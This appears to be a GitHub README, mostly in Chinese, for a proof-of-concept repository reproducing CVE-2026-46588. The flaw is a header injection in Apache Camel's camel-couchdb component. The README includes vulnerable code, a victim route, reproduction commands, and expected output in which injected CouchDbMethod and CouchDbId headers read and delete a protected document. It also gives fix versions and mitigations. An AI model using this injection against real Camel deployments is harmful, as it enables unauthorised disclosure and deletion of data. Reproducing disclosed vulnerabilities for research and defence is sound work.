oscerd/CVE-2026-46588
GitHub: oscerd/CVE-2026-46588
该项目复现了 Apache Camel camel-couchdb 组件中的 CVE-2026-46588 消息头注入漏洞,演示了如何通过注入 CouchDb* 头将只写端点变为读取和删除任意文档。
Stars: 0 | Forks: 0
# camel-couchdb `CouchDb*` Header Injection 复现项目 (CVE-2026-46588)
本项目演示了 Apache Camel 的 `camel-couchdb` 组件中的一个 **message-header injection(消息头注入)** 漏洞,追踪编号为
**CVE-2026-46588**。该组件会读取多个 Exchange header 来控制其行为 —— `CouchDbDatabase`、
`CouchDbSeq`、`CouchDbId`(文档 id)、`CouchDbRev`(文档 revision)和 `CouchDbMethod`(操作
method)。这些 header 常量的字符串值(在 `CouchDbConstants` 中定义)使用了 `CouchDb` 前缀,
而不是其他所有组件都在使用的标准 `Camel` 前缀。Camel 入站的 `HttpHeaderFilterStrategy`
仅拦截以 `Camel` / `camel` 开头的 header 名称,因此这些名称会原封不动地通过入站过滤器。
当路由在 couchdb producer 前方暴露 HTTP 入口点(例如 platform-http)时,不受信任的
HTTP 客户端可以直接设置这些 header 并 **覆盖路由作者预期的操作**。
此 PoC 将其影响演示为 **操作混淆**:一个 *write-only(只写)* 的文档入库 endpoint 被变成了
对任意文档的读取,随后又变成删除,这是通过注入 `CouchDbMethod`(和 `CouchDbId`)实现的。
安全公告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-couchdb` |
| **受影响的类** | `org.apache.camel.component.couchdb.CouchDbProducer` 读取 `CouchDbConstants.HEADER_METHOD` (`"CouchDbMethod"`)、`HEADER_DOC_ID` (`"CouchDbId"`) 等。 |
| **CWE** | CWE-20:输入验证不恰当 |
| **影响** | HTTP 客户端设置 `CouchDb*` header → 覆盖操作/文档 → 信息泄露、删除、篡改 |
| **前提条件** | 路由在 HTTP consumer(例如 platform-http)后暴露了 couchdb producer;如果 consumer 未经认证,则无需认证 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **已修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **修复** | PR [apache/camel#23228](https://github.com/apache/camel/pull/23228) (main),通过 #23230 (4.18.x) / #23231 (4.14.x) 向后移植 |
| **致谢** | Yu Bao (PayPal) |
## 技术细节
```
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
```
修复方案(4.14.8 / 4.18.3 / 4.21.0)将 header **值** 重命名为符合 Camel 规范的格式 —— `CouchDbMethod` →
`CamelCouchDbMethod`、`CouchDbId` → `CamelCouchDbId`、`CouchDbRev` → `CamelCouchDbRev`、`CouchDbDatabase` →
`CamelCouchDbDatabase`、`CouchDbSeq` → `CamelCouchDbSeq` —— 以便它们能像其他所有 Camel 控制 header 一样被入站
`HttpHeaderFilterStrategy` 拦截。Java 常量的字段名称保持不变。
## 受害者路由
```
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://:5984/cameldb?username=..&password=..&createDatabase=true");
```
路由作者的本意是构建一个 **write-only(只写)** 的入库 endpoint —— 客户端 POST 文档以供保存,仅此
而已。如文档所述,强化路由会在边缘剥离 Camel 控制 header 命名空间。**但这并没有
起作用**:操作 header 命名为 `CouchDbMethod`,而不是 `CamelCouchDbMethod`,因此无论是
`removeHeaders("Camel*")` 还是内置的 HTTP header 过滤器都无法将其剥离 —— 而 producer 会根据它切换操作。
## 仓库结构
**受害者** 是 Camel 入库路由及其 CouchDB 数据库;**攻击者** 是一个未经认证的 HTTP
客户端,仅通过设置请求头发起攻击。一个小型的 REST **测试工具** 用于植入和读取机密文档以进行
验证,且独立于存在漏洞的路由。
```
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose(用于运行 CouchDB + 应用)
- Java 17+ 和 Maven 3.8+(用于构建 jar 包)
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
# 等待 app 日志行 "Started Application",然后:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
```
### 预期输出
```
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now:
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
```
## 攻击向量
任何包含可通过 HTTP consumer 访问的 couchdb producer 的路由。可注入的 header:`CouchDbMethod`(将
save 切换为 get / delete)、`CouchDbId`(用于 get 的目标文档),以及用于 delete 的 body 中的 `_id` / `_rev`。Consumer
端会额外添加 `CouchDbDatabase` 和 `CouchDbSeq`。
## 推荐修复
升级至 **4.14.8 / 4.18.3 / 4.21.0**(见安全公告 PR #23228)。修复后,这些控制 header 将带有 Camel
前缀(`CamelCouchDbMethod`、`CamelCouchDbId` ……),并像其他所有控制
header 一样在 HTTP 边界被过滤。
## 缓解措施
在升级之前,请在不受信任的入站消息到达 producer 之前剥离受影响的 header,例如在 couchdb endpoint 前添加
`.removeHeader("CouchDbDatabase")`、`.removeHeader("CouchDbId")`、`.removeHeader("CouchDbRev")`、
`.removeHeader("CouchDbSeq")` 和 `.removeHeader("CouchDbMethod")`,或者应用一个
可拦截这些名称的自定义 `HeaderFilterStrategy`。
## 免责声明
此复现项目仅用于 **安全研究和授权测试**,针对的是一个 **已公开披露
且已修复** 的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:JS文件枚举, 域名枚举, 请求拦截